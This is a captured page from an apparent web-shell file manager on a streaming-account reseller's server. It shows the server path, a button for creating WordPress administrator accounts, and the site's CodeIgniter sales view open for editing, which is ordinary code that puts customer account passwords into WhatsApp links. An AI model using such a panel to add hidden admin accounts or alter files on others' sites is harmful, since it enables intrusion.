📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/views/usuarios
⬅️ Kembali ke folder sebelumnya
📄
index.php
📄
ventaUsuarios.php
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
index.php
ventaUsuarios.php
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: ventaUsuarios.php
<script type="text/javascript"> $(document).ready(function() { $("#menu-usuarios").addClass("active"); }); </script> <div class="page-title-heading"> <div class="page-title-icon text-center"> <img src="<?php echo base_url('assets/images/ventas.png'); ?>" alt="" class="icono-modulo"> </div> <div class="apartado-clientes"> <b class="h5">USUARIOS</b> <div class="subtitulo2 apartado-clientes"> Ventas por Empleados </div> </div> </div> <div class="row my-4" style="margin-top:-20px !important;"> <div class="col text-right"> <a href="<?php echo site_url('usuarios/index'); ?>" class="text-uppercase btn-regresar"><i class="fas fa-chevron-left mr-2"></i>Regresar</a> </div> </div> <br> <?php $CI = &get_instance(); $CI->load->model('producto'); $CI->load->model('venta'); $CI->load->model('panel'); $CI->load->model('configuracion'); $fechaActual = date("Y-m-d"); ?> <?php $monedaLocal = $CI->panel->obtenerTodos(); ?> <?php $configuraciones = $CI->configuracion->obtenerConfiguracion(); ?> <div class="row"> <div class="col-md-12 text-right"> <a id="btnTotalVendido" href="javascript:void(0);" class="btn btn-principal btn-agregar"> <i class="fa fa-money"></i> VER VENTAS TOTALES </a> </div> </div> <br> <div class="row"> <div class="col-md-12"> <center> <h3 class="titulo-ventas"> <?php echo $usuario->nombre_usu . " " . $usuario->apellido_usu; ?> </h3> </center> <br> <br> <table id="tablaVentaPorUsuario" class="table table-cielo table-hover tbl-buscador"> <thead> <tr> <th class="text-center">VENTA #</th> <th class="text-center">CLIENTE</th> <th class="text-center">TELEFONO</th> <th class="text-center">TIPO</th> <th class="text-center">PRECIO DE VENTA</th> <th class="text-center">SERVICIO</th> <th class="text-center">PRODUCTO</th> <th class="text-center"> PERFIL </th> <th class="text-center">FECHA DE VENTA</th> <th class="text-center">VENCE EL</th> <th class="text-center">ESTADO</th> <th class="text-center">ACCIONES</th> </tr> </thead> <tbody></tbody> <br> </table> <script> $(document).ready(function() { tablaVentaPorUsuario = $('#tablaVentaPorUsuario').DataTable({ "processing": true, "serverSide": true, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('ventas/getDataUsuario/'); ?>" + <?php echo $usuario->id_usu; ?>, "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 6, "orderable": false }, { "targets": 7, "orderable": false }, { "targets": 10, "orderable": false, "render": function(data, type, full, meta) { if (data != 3) { const fechaActual = new Date(); const fechaString = full[9]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE</div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-ban' aria-hidden='true'></i> DADO DE BAJA</div></center>" } } }, { "targets": -1, "orderable": false, "render": function(data, type, full, meta) { if (full[10] != 3) { return "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-sm btnRenovar' data-toggle='tooltip' title='Renovación'><i class='fa fa-refresh'></i></button><button style='color: white;' class='btn btn-warning btn-sm btnAgradecimiento' data-toggle='tooltip' title='Agradecimiento por la compra'><i class='fa fa-handshake-o'></i></button><button class='btn btn-success btn-sm btnRecordatorio' data-toggle='tooltip' title='Recordatorio'><i class='fa fa-whatsapp'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'><i class='fa fa-trash'></i></button></div></div>" } else { return "Sin Acciones" } }, "orderable": false } ] }); }); </script> </div> </div> </section> <br> <div class="modal" id="modalRenovarServicio" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel"></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form id="formRenovacion" enctype="multipart/form-data"> <div class="contenedorDarBaja" style="display: none;"> <div class="row"> <div class="col-md-3"> </div> <div class="col-md-6"> <label for="btnDarBaja" class="elemento"><b>DAR DE BAJA A LA VENTA:</b></label> <input type="checkbox" name="btnDarBaja" id="btnDarBaja"> <input type="hidden" name="darDeBaja" id="darDeBaja"> <input type="hidden" name="tipoVenta" id="tipoVenta"> </div> <div class="col-md-3"> </div> </div> </div> <div class="row"> <div class="col-md-3 form-group"> </div> <div class="col-md-6 form-group" id="contenedortextarea"> <center> <p>Seleccione la fecha de vencimiento, si necesita una fecha personalizada use la opción 2 recuerde que la opcion 1 toma la fecha del dia presente para calcular.</p> </center> <br> <label for="fechavencimientoselect" class="elemento"><b>SELECCIONE EL TIEMPO DE VENCIMIENTO:</b></label><br><br> <select class="form-control mi-input" name="fechavencimientoselect" id="fechavencimientoselect"> <option value="" selected hidden>Seleccione el tiempo de renovación</option> <option value="1">1 Mes</option> <option value="2">3 Meses</option> <option value="3">6 Meses</option> <option value="4">12 Meses</option> </select> <br> <label for="fechaRenovacion" class="elemento"><b>SELECCIONE LA FECHA DE VENCIMIENTO:</b></label><br><br> <input type="date" id="fechaRenovacion" name="fechaRenovacion" class="form-control mi-input"> <br> <label for="precioRenovacion" class="elemento"><b>PRECIO RENOVACIÓN:</b></label><br><br> <input type="text" id="precioRenovacion" name="precioRenovacion" placeholder="Ingrese el precio de la renovación" class="form-control mi-input"> <br> </div> <div class="col-md-3 form-group"> </div> </div> <div class="row"> <div class="col-md-12 text-center"> <div class="modal-footer"> <button type="button" class="btn btn-secundario" data-dismiss="modal">Cancelar</button> <button type="submit" class="btn btn-principal">Guardar</button> </div> </div> </div> </form> </div> </div> </div> </div> <div class="modal" id="modalCRUD" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel"></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form id="formVentas" enctype="multipart/form-data"> <div class="col-md-6 form-group"> <label for="tipoventatexto" class="elemento"><b>TIPO DE VENTA: </b></label><br><br> <input id="tipoventatexto" placeholder="Ingrese el precio de venta" class="form-control mi-input" type="hidden" name="tipoventatexto"> </div> <div class="row"> <div class="col-md-6 form-group"> <label for="fecha_inicio_ven" class="elemento"><b>FECHA DE INICIO:</b></label><br><br> <input id="fecha_inicio_ven" class="form-control mi-input" type="date" name="fecha_inicio_ven"> </div> <div class="col-md-6 form-group"> <label for="fecha_fin_ven" class="elemento"><b>FECHA DE VENCIMIENTO:</b></label><br><br> <input id="fecha_fin_ven" class="form-control mi-input" type="date" name="fecha_fin_ven"> </div> </div> <br> <div class="row"> <input id="fk_id_cli" value="<?php echo $cliente->id_cli; ?>" class="form-control mi-input" type="hidden" name="fk_id_cli"> <div class="col-md-6 form-group"> <label for="fk_id_ser"><b>SERVICIO:</b></label><br><br> <select name="fk_id_ser" class="form-control mi-input" id="fk_id_ser"> <?php if ($listaServicios) : ?> <option value="" selected hidden>Seleccione un servicio</option> <?php foreach ($listaServicios->result() as $servicios) : ?> <option value="<?php echo $servicios->id_ser; ?>"><?php echo $servicios->nombre_ser; ?></option> <?php endforeach; ?> <?php else : ?> <option value="" selected hidden>Seleccione un servicio</option> <option value="" disabled>-- No existe servicios, agregalo en el menu de servicios --</option> <?php endif; ?> </select> </div> <div class="col-md-6 form-group"> <label for="fk_id_pro"><b>CUENTA:</b></label><br><br> <select name="fk_id_pro" class="form-control mi-input" id="fk_id_pro"> <option value="" selected hidden>Seleccione una cuenta</option> <option value="" disabled>-- Primero debe seleccionar un servicio. --</option> </select> </div> </div> <br> <div class="row"> <div class="col-md-6 form-group" id="contenedor_tipo_venta" style="display: none;"> <label style=" font-weight:bold; color:#2D2477; font-size:15px;"><b>TIPO DE VENTA: </b></label><br><br> <label class="switch"> <input type="checkbox" name="switch_tipo_venta" id="switch_tipo_venta" disabled> <span class="slider round"></span> </label> <label id="etiqueta-switch_tipo_venta" style="padding-top:10px !important; font-size:15x;">POR PERFIL</label> </div> <div class="col-md-6 form-group" id="contenedor_perfiles" style="display: none;"> <label for="perfilesexistentes" class="elemento"><b>PERFILES EXISTENTES: </b></label><br><br> <select name="perfilesexistentes" class="form-control mi-input" id="perfilesexistentes"> <option value="" selected disabled>Seleccione el perfil</option> </select> </div> <div class="col-md-6 form-group"> <label for="precio_ven" class="elemento"><b>PRECIO:</b></label><br><br> <input id="precio_ven" placeholder="Ingrese el precio de venta" class="form-control mi-input" type="text" name="precio_ven"> </div> </div> <br> <div class="row"> <div class="col-md-12 text-center"> <div class="modal-footer"> <button type="button" class="btn btn-secundario" data-dismiss="modal">Cancelar</button> <button type="submit" class="btn btn-principal">Guardar</button> </div> </div> </div> </form> </div> </div> </div> </div> <div class="modal" id="modalTotalVendido" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel"></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="row"> <div class="col-md-3"> </div> <div class="col-md-6"> <h1 id="totalTexto" class="titulo-ventas"></h1> <center> <p>Este monto es el total de la suma de todas las ventas y renovaciones realizadas por este empleado.</p> </center> </div> <div class="col-md-3"> </div> </div> </div> </div> </div> </div> <!-- JS CRUD --> <script> var fila; //Enviar Formulario $("#perfilesexistentes").change(function() { console.log($("#perfilesexistentes").val()); }); $("#formVentas").submit(function(e) { e.preventDefault(); fecha_inicio_ven = $("#fecha_inicio_ven").val(); fecha_fin_ven = $("#fecha_fin_ven").val(); precio_ven = $.trim($("#precio_ven").val()); tipo_ven = $.trim($("#tipo_ven").val()); fk_id_cli = $("#fk_id_cli").val(); fk_id_ser = $("#fk_id_ser").val(); fk_id_pro = $("#fk_id_pro").val(); fk_id_per = $("#perfilesexistentes").val(); tipoventatexto = $("#tipoventatexto").val(); $.ajax({ url: "<?php echo site_url('ventas/CRUD'); ?>", type: "POST", datatype: "json", data: { id_ven: id_ven, fecha_inicio_ven: fecha_inicio_ven, fecha_fin_ven: fecha_fin_ven, precio_ven: precio_ven, tipo_ven: tipo_ven, fk_id_cli: fk_id_cli, fk_id_ser: fk_id_ser, fk_id_pro: fk_id_pro, fk_id_per: fk_id_per, tipoventatexto: tipoventatexto, opcionCrud: opcionCrud, }, success: function(data) { Swal.fire( '¡Buen trabajo!', 'En caso de que no se haya agregado o eliminado <b>vuelve a intentarlo y llena todos los campos solicitantes</b>.', 'success' ) tablaVentaPorUsuario.ajax.reload(null, false); }, }); $("#modalCRUD").modal("hide"); }); //Editar $(document).on('click', ".btnEditar", function() { opcionCrud = 2; //alta fila = $(this).closest("tr"); id_ven = parseInt(fila.find('td:eq(0)').text()); //captura la ID fecha_inicio_ven = fila.find('td:eq(1)').text(); fecha_fin_ven = fila.find('td:eq(2)').text(); precio_ven = fila.find('td:eq(3)').text(); tipo_ven = fila.find('td:eq(4)').text(); fk_id_cli = fila.find('td:eq(5)').text(); fk_id_ser = fila.find('td:eq(6)').text(); fk_id_pro = fila.find('td:eq(7)').text(); fk_id_per = fila.find('td:eq(8)').text(); $("#fecha_inicio_ven").val(fecha_inicio_ven); $("#fecha_fin_ven").val(fecha_fin_ven); $("#precio_ven").val(precio_ven); $("#tipo_ven").val(tipo_ven); $("#fk_id_cli").val(fk_id_cli); $("#fk_id_ser").val(fk_id_ser); $("#fk_id_pro").val(fk_id_pro); $("#fk_id_per").val(fk_id_per); $(".modal-title").text("Editar Venta"); $("#modalCRUD").modal('show'); }); //borrar $(document).on("click", ".btnBorrar", function() { fila = $(this).closest("tr"); id_ven = parseInt($(this).closest("tr").find("td:eq(0)").text()); tipo_ven = fila.find('td:eq(2)').text(); if ($.trim(tipo_ven) == "COMPLETA") { opcionCrud = 3; //eliminar } else { opcionCrud = 4; //eliminar } Swal.fire({ title: '¿Estás seguro?', text: "¡No podrás revertir esto!", icon: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: '¡Sí, elimínalo!' }).then((result) => { if (result.isConfirmed) { $.ajax({ url: "<?php echo site_url('ventas/CRUD'); ?>", type: "POST", datatype: "json", data: { opcionCrud: opcionCrud, id_ven: id_ven }, success: function() { tablaVentaPorUsuario.row(fila.parents("tr")).remove().draw(); } }); Swal.fire( '¡Buen trabajo!', 'Venta eliminada exitosamente.', 'success' ) } }) }); //Renovar $(document).on('click', ".btnRenovar", function() { opcionCrud = 5; //renovacion $("#formRenovacion").trigger("reset"); fila = $(this).closest("tr"); id_ven = parseInt(fila.find('td:eq(0)').text()); //captura la ID estado_ven = $.trim(fila.find('td:eq(10)').text()); tipoVenta = $.trim(fila.find('td:eq(3)').text()); $("#tipoVenta").val(tipoVenta); if (estado_ven == "VENCIDO") { $('.contenedorDarBaja').fadeIn(); } else { $('.contenedorDarBaja').css('display', 'none'); } $(".modal-title").text("Renovar Venta"); $("#modalRenovarServicio").modal('show'); }); $("#formRenovacion").submit(function(e) { e.preventDefault(); fecha_fin_ven = $("#fechaRenovacion").val(); darDeBaja = $("#darDeBaja").val(); precio_ven = $("#precioRenovacion").val(); if ($(this).valid()) { $.ajax({ url: "<?php echo site_url('ventas/CRUD'); ?>", type: "POST", datatype: "json", data: { id_ven: id_ven, fecha_fin_ven: fecha_fin_ven, darDeBaja: darDeBaja, tipoVenta: tipoVenta, precio_ven: precio_ven, opcionCrud: opcionCrud, }, success: function(data) { tablaVentaPorUsuario.ajax.reload(null, false); }, }); Swal.fire( '¡Buen trabajo!', 'Renovación realizada correctamente.', 'success' ) } else { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Renovación no realizada, verifica y llena todos los campos solicitados.', }) } $("#modalRenovarServicio").modal("hide"); }); </script> <script> $(document).on('click', "#btnTotalVendido", function() { $(".modal-title").text("Ventas Totales del Empleado"); $.ajax({ url: "<?php echo site_url('ventas/obtenerTotalVentasPorCliente/' . $usuario->id_usu); ?>", type: "POST", datatype: "json", data: {}, success: function(response) { if (response != false) { $.ajax({ url: "<?php echo site_url('ventas/traerConfiguracionData'); ?>", type: "POST", datatype: "json", success: function(data) { if (data.length != 0) { if (data[0].simbolomoneda_con == null || data[0].simbolomoneda_con == "") { if (response[0].total_renovaciones_ven == null) { html = "$0"; } else { html = "$" + response[0].total_renovaciones_ven; } } else { if (response[0].total_renovaciones_ven == null || response[0].total_renovaciones_ven == "") { html = data[0].simbolomoneda_con + "0"; } else { html = data[0].simbolomoneda_con + response[0].total_renovaciones_ven; } } $("#totalTexto").html(html); } else { if (response[0].total_renovaciones_ven == null) { html = "$0"; } else { html = "$" + response[0].total_renovaciones_ven; } $("#totalTexto").html(html); } }, }); } else { html = "$0"; $("#totalTexto").html(html); } } }); $("#modalTotalVendido").modal('show'); }); </script> <!-- JS PARA WHATSAPP --> <script> //Agregar var fila; $(document).on('click', ".btnRecordatorio", function() { var apiWhatsAppInicio = "https://api.whatsapp.com/send?phone="; var apiWhatsAppFinal = "&text="; fila = $(this).closest("tr"); nombre_cliente = fila.find('td:eq(1)').text(); telefono_ser = fila.find('td:eq(2)').text(); fecha_venta = fila.find('td:eq(8)').text(); fecha_renovacion = fila.find('td:eq(9)').text(); precio_venta = fila.find('td:eq(4)').text(); nombre_servicio = fila.find('td:eq(5)').text(); correo_password_producto = fila.find('td:eq(6)').text(); tipo_ven = fila.find('td:eq(3)').text(); if (tipo_ven == "PERFIL") { perfil_pin_producto = fila.find('td:eq(7)').text(); } else { perfil_pin_producto = "Su cuenta es *completa*" } if (telefono_ser == "Sin Número") { alert("Este cliente no tiene número de teléfono agreguelo para usar esta función."); } else { <?php if ($this->session->userdata('C0n3ct4d0_Usr')) : ?> <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR" || $this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "VENDEDOR") : ?> $.ajax({ url: "<?php echo site_url('ventas/traerConfiguracionData'); ?>", type: "POST", datatype: "json", success: function(data) { if (data.length != 0) { if (data[0].mensajerecordatorio_con == null || data[0].mensajerecordatorio_con == "") { alert("Configure el mensaje de rocordatorio dentro del módulo [CONFIGURACIONES = Mensaje de Recordatorio] antes de usar esta acción."); } else { const mensaje = data[0].mensajerecordatorio_con; const variablesAReemplazar = { 'nombre_cliente': nombre_cliente, 'telefono_ser': telefono_ser, 'fecha_venta': fecha_venta, 'fecha_renovacion': fecha_renovacion, 'precio_venta': precio_venta, 'nombre_servicio': nombre_servicio, 'correo_password_producto': encodeURIComponent(correo_password_producto), 'perfil_pin_producto': perfil_pin_producto }; const regex = new RegExp(Object.keys(variablesAReemplazar).join("|"), "gi"); const nuevoMensaje = mensaje.replace(regex, function(matched) { return variablesAReemplazar[matched.toLowerCase()]; }); window.open(apiWhatsAppInicio + telefono_ser + apiWhatsAppFinal + nuevoMensaje); } } else { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Aun no tienes nada configurado ingresa a configuración y llena tu mensaje de recordatorio.', }) } }, }); <?php endif; ?> <?php endif; ?> } }); </script> <!-- JS PARA AGRADECIMIENTO --> <script> var fila; $(document).on('click', ".btnAgradecimiento", function() { var apiWhatsAppInicio = "https://api.whatsapp.com/send?phone="; var apiWhatsAppFinal = "&text="; fila = $(this).closest("tr"); nombre_cliente = fila.find('td:eq(1)').text(); telefono_ser = fila.find('td:eq(2)').text(); fecha_venta = fila.find('td:eq(8)').text(); fecha_renovacion = fila.find('td:eq(9)').text(); precio_venta = fila.find('td:eq(4)').text(); nombre_servicio = fila.find('td:eq(5)').text(); correo_password_producto = fila.find('td:eq(6)').text(); tipo_ven = fila.find('td:eq(3)').text(); if (tipo_ven == "PERFIL") { perfil_pin_producto = fila.find('td:eq(7)').text(); } else { perfil_pin_producto = "Su cuenta es *completa*" } if (telefono_ser == "Sin Número") { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Este cliente no tiene número de teléfono agreguelo para usar esta función.', }) } else { <?php if ($this->session->userdata('C0n3ct4d0_Usr')) : ?> <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR" || $this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "VENDEDOR") : ?> $.ajax({ url: "<?php echo site_url('ventas/traerConfiguracionData'); ?>", type: "POST", datatype: "json", success: function(data) { if (data.length != 0) { if (data[0].mensajeagradecimiento_con == null || data[0].mensajeagradecimiento_con == "") { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Configure el mensaje de agradecimiento dentro del módulo [CONFIGURACIONES = Mensaje de Agredecimiento] antes de usar esta acción.', }) } else { const mensaje = data[0].mensajeagradecimiento_con; const variablesAReemplazar = { 'nombre_cliente': nombre_cliente, 'telefono_ser': telefono_ser, 'fecha_venta': fecha_venta, 'fecha_renovacion': fecha_renovacion, 'precio_venta': precio_venta, 'nombre_servicio': nombre_servicio, 'correo_password_producto': correo_password_producto, 'perfil_pin_producto': perfil_pin_producto }; const regex = new RegExp(Object.keys(variablesAReemplazar).join("|"), "gi"); const nuevoMensaje = mensaje.replace(regex, function(matched) { return variablesAReemplazar[matched.toLowerCase()]; }); window.open(apiWhatsAppInicio + telefono_ser + apiWhatsAppFinal + nuevoMensaje); } } else { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Aun no tienes nada configurado ingresa a configuración y llena tu mensaje de recordatorio.', }) } }, }); <?php endif; ?> <?php endif; ?> } }); </script> <script> $('#fecha_inicio_ven').change(function() { var fechaEscogida = $('#fecha_inicio_ven').val(); var fecha_split = fechaEscogida.split('-'); var nueva_fecha = new Date(fecha_split[0], fecha_split[1], fecha_split[2]); var nueva_fechita = new Date(nueva_fecha.setMonth(nueva_fecha.getMonth() + 0)); //console.log(); $('#fecha_fin_ven').val(formatDate(nueva_fechita)); }); $(document).ready(function(e) { $("#fk_id_ser").change(function() { $("#perfilesexistentes").find('option').not(':first').remove(); //$("#switch_tipo_venta").attr("checked", false); $("#switch_tipo_venta").attr("disabled", true); var servicio = $("#fk_id_ser option:selected").text(); //console.log(servicio); var servicio_id = $("#fk_id_ser").val(); $("#contenedor_tipo_venta").fadeIn(); //$("#contenedor_tipo_venta").css('display', 'none'); $.ajax({ url: "<?php echo site_url('productos/ajaxTraerProductosPorServicio'); ?>/" + servicio_id, success: function(data) { var objeto = JSON.parse(data); //console.log(objeto); var html = '<option value="" selected hidden>Seleccione una cuenta</option>'; if (objeto == false) { html2 = '<option value="" disabled>-- No existe cuentas, agregalo en el menu de productos --</option>'; $("#fk_id_pro").html(html + html2); } else { for (let i = 0; i < objeto.length; i++) { html += '<option value="' + objeto[i].id_pro + '">' + objeto[i].correo_pro + '</option>'; } $("#fk_id_pro").html(html); } }, error: function() { alert("error"); } }); }); $('#fechavencimientoselect').change(function() { var tiempoSeleccionado = $('#fechavencimientoselect').val(); //console.log(tiempoSeleccionado); if (tiempoSeleccionado == 1) { var fechaActual = new Date(); fechaActual.setMonth(fechaActual.getMonth() + 1); dia = fechaActual.getDate(); mes = fechaActual.getMonth() + 1; year = fechaActual.getFullYear(); if (dia < 10) dia = '0' + dia; if (mes < 10) mes = '0' + mes; $('#fechaRenovacion').val(year + "-" + mes + "-" + dia); } else if (tiempoSeleccionado == 2) { var fechaActual = new Date(); fechaActual.setMonth(fechaActual.getMonth() + 1); dia = fechaActual.getDate(); mes = fechaActual.getMonth() + 3; year = fechaActual.getFullYear(); if (dia < 10) dia = '0' + dia; if (mes < 10) mes = '0' + mes; $('#fechaRenovacion').val(year + "-" + mes + "-" + dia); } else if (tiempoSeleccionado == 3) { var fechaActual = new Date(); fechaActual.setMonth(fechaActual.getMonth() + 1); dia = fechaActual.getDate(); mes = fechaActual.getMonth() + 6; year = fechaActual.getFullYear(); if (dia < 10) dia = '0' + dia; if (mes < 10) mes = '0' + mes; $('#fechaRenovacion').val(year + "-" + mes + "-" + dia); } else if (tiempoSeleccionado == 4) { var fechaActual = new Date(); fechaActual.setMonth(fechaActual.getMonth() + 1); dia = fechaActual.getDate(); mes = fechaActual.getMonth(); year = fechaActual.getFullYear() + 1; if (dia < 10) dia = '0' + dia; if (mes < 10) mes = '0' + mes; $('#fechaRenovacion').val(year + "-" + mes + "-" + dia); } }); $('#fechaRenovacion').click(function() { //console.log("Hola"); $('#fechavencimientoselect option').prop('selected', function() { //console.log("Hola"); return this.defaultSelected; }); }); }); </script> <script> $("#fk_id_pro").change(function() { $("#switch_tipo_venta").removeAttr("disabled"); }); </script> <script> function pasarDatos() { var correo = $("#fk_id_ser").val(); correomensaje.val(correo); } </script> <script> $("#fk_id_pro").change(function() { var producto_id = $("#fk_id_pro").val(); $.ajax({ url: "<?php echo site_url('perfiles/ajaxTraerPerfilesPorIdProducto'); ?>/" + producto_id, success: function(data) { var objeto = JSON.parse(data); //console.log(objeto); var html = '<option value="" selected hidden>Seleccione un perfil</option>'; if (objeto == false) { html2 = '<option value="" disabled>-- No existe perfiles, agregalos --</option>'; $("#perfilesexistentes").html(html + html2); } else { for (let i = 0; i < objeto.length; i++) { if (objeto[i].pin_per == "" || objeto[i].pin_per == "NULL") { html += '<option value="' + objeto[i].id_per + '">' + objeto[i].nombre_per + ' [No tiene PIN]' + '</option>'; } else { html += '<option value="' + objeto[i].id_per + '">' + objeto[i].nombre_per + ' [PIN: ' + objeto[i].pin_per + ']' + '</option>'; } } $("#perfilesexistentes").html(html); } //$("#spanperfiles").html(html); }, error: function() { alert("error"); } }); }); $("#switch_tipo_venta").change(function() { if ($(this).is(":checked")) { $("#tipoventatexto").val("SI"); $("#contenedor_perfiles").fadeIn(); } else { $("#tipoventatexto").val("NO"); $("#contenedor_perfiles").css('display', 'none'); } }); </script> <!-- VALIDACION RENOVACION --> <script> $(document).ready(function() { $("#formRenovacion").validate({ rules: { 'fechaRenovacion': { required: true, }, 'precioRenovacion': { required: true, } }, messages: { 'fechaRenovacion': { required: 'Campo Obligatorio: Porfavor ingresa o selecciona los datos.', }, 'precioRenovacion': { required: 'Campo Obligatorio: Porfavor ingresa o selecciona los datos.', } } }); }); </script>
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup